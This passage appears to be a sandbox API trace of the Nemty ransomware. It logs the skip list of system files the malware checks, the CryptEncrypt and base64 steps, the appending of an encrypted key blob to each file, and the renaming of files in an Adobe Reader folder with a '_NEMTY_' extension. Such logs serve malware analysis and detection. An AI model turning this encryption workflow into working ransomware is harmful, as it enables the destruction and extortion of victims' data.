ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.KOR", cAlternateFileName="")) returned 1 [0179.668] lstrcmpiW (lpString1="Search.KOR", lpString2=".") returned 1 [0179.668] lstrcmpiW (lpString1="Search.KOR", lpString2="..") returned 1 [0179.668] lstrcmpiW (lpString1="Search.KOR", lpString2="...") returned 1 [0179.668] lstrcmpiW (lpString1="Search.KOR", lpString2="windows") returned -1 [0179.668] lstrcmpiW (lpString1="Search.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.668] lstrcmpiW (lpString1="Search.KOR", lpString2="rsa") returned 1 [0179.668] lstrcmpiW (lpString1="Search.KOR", lpString2="NTDETECT.COM") returned 1 [0179.668] lstrcmpiW (lpString1="Search.KOR", lpString2="ntldr") returned 1 [0179.668] lstrcmpiW (lpString1="Search.KOR", lpString2="MSDOS.SYS") returned 1 [0179.668] lstrcmpiW (lpString1="Search.KOR", lpString2="IO.SYS") returned 1 [0179.669] lstrcmpiW (lpString1="Search.KOR", lpString2="boot.ini") returned 1 [0179.669] lstrcmpiW (lpString1="Search.KOR", lpString2="boot.ini") returned 1 [0179.669] lstrcmpiW (lpString1="Search.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.669] lstrcmpiW (lpString1="Search.KOR", lpString2="ntuser.dat") returned 1 [0179.669] lstrcmpiW (lpString1="Search.KOR", lpString2="desktop.ini") returned 1 [0179.669] lstrcmpiW (lpString1="Search.KOR", lpString2="CONFIG.SYS") returned 1 [0179.669] lstrcmpiW (lpString1="Search.KOR", lpString2="RECYCLER") returned 1 [0179.669] lstrcmpiW (lpString1="Search.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.669] lstrcmpiW (lpString1="Search.KOR", lpString2="bootmgr") returned 1 [0179.669] lstrcmpiW (lpString1="Search.KOR", lpString2="programdata") returned 1 [0179.669] lstrcmpiW (lpString1="Search.KOR", lpString2="appdata") returned 1 [0179.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.KOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.KOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.KOR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.KOR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.669] Sleep (dwMilliseconds=0x5) [0179.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ebe61f0, dwHighDateTime=0x1d561e8)) [0179.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ebe61f0, dwHighDateTime=0x1d561e8)) [0179.679] GetLastError () returned 0x0 [0179.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.679] GetLastError () returned 0x0 [0179.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.679] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.679] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.679] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.679] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="kzvw7IhGhI64Nk5csc/Du1TaqIXGJme8akPfcYf5EoKsmYOLt4FRH4rI77iSjJy+\r\nGjd4M8ZyY8zqdwzjKYz09z6lP/gT9zmHYFGpwyZi47dfA7fkp+z13hOjdt2/RtXl\r\n1EITmAutFgn3R22NaFt9NtkeLiPl+fS7Xf4muA8oDjPw+w7tK3HQ2D4cidDoIOa5\r\nNR3wnoTe7TYW05VEwKk2I84zCKp6oNPm3GAGe8fCBt0XrHmYiISptfgzFKa1D/ec\r\nEpUdr6AphkIyt3UqTM3Gr0aRtqZSOU7RyRqCyo8QN3Q5tQqB1cqvtr2NWWib3UbM\r\nHAoz8SafvSzqmJrXvG/leA==\r\n", pcchString=0x653e5dc) returned 1 [0179.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.679] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Search.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\search.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.680] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=16896) returned 1 [0179.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4200) returned 0x6352c48 [0179.680] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.680] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4200, lpOverlapped=0x0) returned 1 [0179.682] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.682] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4200, lpOverlapped=0x0) returned 1 [0179.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.683] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=16896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4200 [0179.683] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.683] CloseHandle (hObject=0x2e8) returned 1 [0179.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0179.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.683] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Search.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\search.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Search.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\search.kor._nemty_kgobjgd_")) returned 1 [0179.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0179.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.684] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.KOR", cAlternateFileName="")) returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2=".") returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="..") returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="...") returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="windows") returned -1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="rsa") returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="NTDETECT.COM") returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="ntldr") returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="MSDOS.SYS") returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="IO.SYS") returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="boot.ini") returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="boot.ini") returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="ntuser.dat") returned 1 [0179.684] lstrcmpiW (lpString1="SendMail.KOR", lpString2="desktop.ini") returned 1 [0179.685] lstrcmpiW (lpString1="SendMail.KOR", lpString2="CONFIG.SYS") returned 1 [0179.685] lstrcmpiW (lpString1="SendMail.KOR", lpString2="RECYCLER") returned 1 [0179.685] lstrcmpiW (lpString1="SendMail.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.685] lstrcmpiW (lpString1="SendMail.KOR", lpString2="bootmgr") returned 1 [0179.685] lstrcmpiW (lpString1="SendMail.KOR", lpString2="programdata") returned 1 [0179.685] lstrcmpiW (lpString1="SendMail.KOR", lpString2="appdata") returned 1 [0179.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.KOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.KOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.KOR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.KOR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.685] Sleep (dwMilliseconds=0x5) [0179.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ec0c350, dwHighDateTime=0x1d561e8)) [0179.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ec0c350, dwHighDateTime=0x1d561e8)) [0179.694] GetLastError () returned 0x0 [0179.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.694] GetLastError () returned 0x0 [0179.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.694] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.694] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.695] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.695] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="QiQgHTOGM7ZEY0bqQqEtdKN3KAxSpgv2QjvVJABIaWzcNDeOrM5ksoOwqnEvtusy\r\nHbRhEGJRZ3HAcAD4K37KgdTH5jx1wrM31mgiBYLTpr4uUPqq6wb4KUChiO5+lfkl\r\nWXE6ke1gIuz2XWXZchk7iIeN5rF8w9eH6zaQqxI7vbevk0HhY2GBQYPhVHX4CCAQ\r\n/PTbfLz3xz8BENIcT+iaPCNkCsTUcntANrV7e0Cw+7H+ok3P6zKUB16Ya7uLdUBy\r\nXT0jky3VtHFwHgTKs8zWAcS1ndU21tlLXPBc2VvCsJ5MevfY9bAtekqoeZvhilQ7\r\nQCTEh7xbR7lt7GXDYzd3zg==\r\n", pcchString=0x653e5dc) returned 1 [0179.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.695] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\SendMail.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\sendmail.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.695] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=12800) returned 1 [0179.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3200) returned 0x6352c48 [0179.695] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.695] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3200, lpOverlapped=0x0) returned 1 [0179.697] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.697] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3200, lpOverlapped=0x0) returned 1 [0179.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.698] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=12800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3200 [0179.698] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.698] CloseHandle (hObject=0x2e8) returned 1 [0179.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.698] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\SendMail.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\sendmail.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\SendMail.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\sendmail.kor._nemty_kgobjgd_")) returned 1 [0179.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.699] HeapFree (in: hHeap=0x4f90000, 